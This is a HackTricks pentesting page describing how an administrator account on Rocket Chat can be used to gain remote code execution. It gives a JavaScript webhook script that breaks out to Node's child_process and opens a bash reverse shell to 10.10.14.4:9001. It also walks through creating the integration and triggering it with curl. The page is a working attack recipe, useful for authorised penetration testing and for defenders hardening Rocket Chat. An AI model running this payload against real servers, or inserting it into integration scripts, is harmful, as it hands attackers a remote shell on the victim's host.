hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

4.5 KiB

Rocket Chat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RCE

If you are admin inside Rocket Chat you can get RCE.

  • Got to Integrations and select New Integration and choose any: Incoming WebHook or Outgoing WebHook.
    • /admin/integrations/incoming
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • Configure the WebHook (the channel and post as username must exists):
  • Configure WebHook script:
  • Save changes
  • Get the generated WebHook URL:
  • Call it with curl and you shuold receive the rev shell
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥